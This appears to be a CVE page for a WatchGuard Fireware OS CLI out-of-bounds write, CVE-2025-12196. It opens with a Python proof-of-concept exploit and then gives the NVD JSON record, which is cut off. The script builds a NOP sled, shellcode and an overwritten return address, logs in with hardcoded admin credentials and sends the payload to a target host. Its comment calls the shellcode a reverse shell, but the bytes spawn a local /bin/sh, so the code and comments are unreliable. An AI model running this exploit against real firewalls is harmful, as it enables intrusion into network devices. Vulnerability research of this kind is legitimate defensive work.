CVE-2025-12196

#!/usr/bin/env python3 # CVE-2025-12196 PoC - WatchGuard Fireware OS CLI Out-of-bounds Write # Note: This is a conceptual PoC for educational purposes only # Requires authenticated high-privilege access to WatchGuard Fireware OS CLI import socket import struct import sys def create_exploit_payload(): """Generate a crafted CLI command payload to trigger OOB write""" # NOP sled for shellcode alignment nop_sled = b'\x90' * 100 # Linux/x86 reverse shell shellcode (example) # Connects back to attacker on port 4444 shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' # Padding to reach the return address overwrite position padding = b'A' * (500 - len(nop_sled) - len(shellcode)) # Overwrite saved return address with address of nop sled return_addr = struct.pack('<I', 0xBFFF1000) # Example stack address payload = nop_sled + shellcode + padding + return_addr return payload def send_malicious_cli_command(target_ip, target_port, payload): """Send crafted CLI command via SSH or Telnet""" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Login with valid high-privilege credentials s.send(b'admin\n') s.send(b'password\n') # Send crafted CLI command triggering OOB write # Example: cli-command with oversized parameter malicious_cmd = f'debug cli-command {payload.decode("latin-1")}'.encode('latin-1') s.send(malicious_cmd + b'\n') s.close() print(f'[+] Exploit payload sent to {target_ip}:{target_port}') return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: {sys.argv[0]} <target_ip> <port>') sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) payload = create_exploit_payload() send_malicious_cli_command(target_ip, target_port, payload)

{"cve": {"id": "CVE-2025-12196", "sourceIdentifier": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "published": "2025-12-04T22:15:47.060", "lastModified": "2025-12-10T15:58:50.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Out-of-bounds Write vulnerability in WatchGuard Fireware OS's CLI could allow an authenticated privileged user to execute arbitrary code via a specially crafted CLI command.This vulnerability affects Fireware OS 12.0 up to and including 12.11.4, 12.5 up to and including 12.5.13, and 2025.1 up to and including 2025.1.2."}, {"lang": "es", "value": "Una vulnerabilidad de escritura fuera de límites en la CLI de WatchGuard Fireware OS podría permitir a un usuario privilegiado autenticado ejecutar código arbitrario a través de un comando de CLI especialmente diseñado. Esta vulnerabilidad afecta a Fireware OS 12.0 hasta e incluyendo 12.11.4, 12.5 hasta e incluyendo 12.5.13, y 2025.1 hasta e incluyendo 2025.1.2."}], "metrics": {"cvssMetricV40": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.1", "versionEndExcluding": "2025.1.3", "matchCriteriaId": "46DAB795-8DD0-4D6C-99D5-B9057E76DB87"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t115-w:-:*:*:*:*:*:*:*", "matchCriteriaId": "E8AAE66B-DD19-4C90-8DFC-F77BA1541642"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t125:-:*:*:*:*:*:*:*", "matchCriteriaId": "7FC18430-C6B4-4395-BFF1-83BB005875BA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t125-w:-:*:*:*:*:*:*:*", "matchCriteriaId": "1A7C1C91-8B6E-4FB0-841E-7F88B06B1435"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t145:-:*:*:*:*:*:*:*", "matchCriteriaId": "8FE309D6-BD5E-4D18-91C3-A492C3576115"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t145-w:-:*:*:*:*:*:*:*", "matchCriteriaId": "75959D39-0960-4836-96C7-DB8048DDE4B8"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t185:-:*:*:*:*:*:*:*", "matchCriteriaId": "D0087049-27C6-4B18-A645-72A8F63D7C6D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.0.0", "versionEndExcluding": "12.11.5", "matchCriteriaId": "8A7E5749-EB5F-41C5-8CD9-1C4A0FF6E738"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_m270:-:*:*:*:*:*:*:*", "matchCriteriaId": "E472917E-D6E1-4C2D-B37D-E76FCC7307CA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_m290:-:*:*:*:*:*:*:*", "m ... (truncated)